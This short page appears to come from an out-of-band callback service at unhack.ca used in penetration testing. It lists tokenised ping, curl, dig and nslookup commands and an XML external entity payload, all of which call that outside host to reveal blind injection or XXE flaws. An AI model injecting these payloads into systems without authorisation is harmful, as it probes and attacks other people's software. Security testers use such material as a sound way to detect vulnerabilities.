$ ping -c1 -p 00e466ea41f30769062213db9262ea00 unhack.ca
 
$ curl http://unhack.ca/p/e466ea41f30769062213db9262ea
 
$ dig e466ea41f30769062213db9262ea @unhack.ca
 
$ dig e466ea41f30769062213db9262ea.ns.unhack.ca
 
C:\> nslookup e466ea41f30769062213db9262ea unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e466ea41f30769062213db9262ea">]>
    <foo>&xxe;</foo>
Waiting for ping...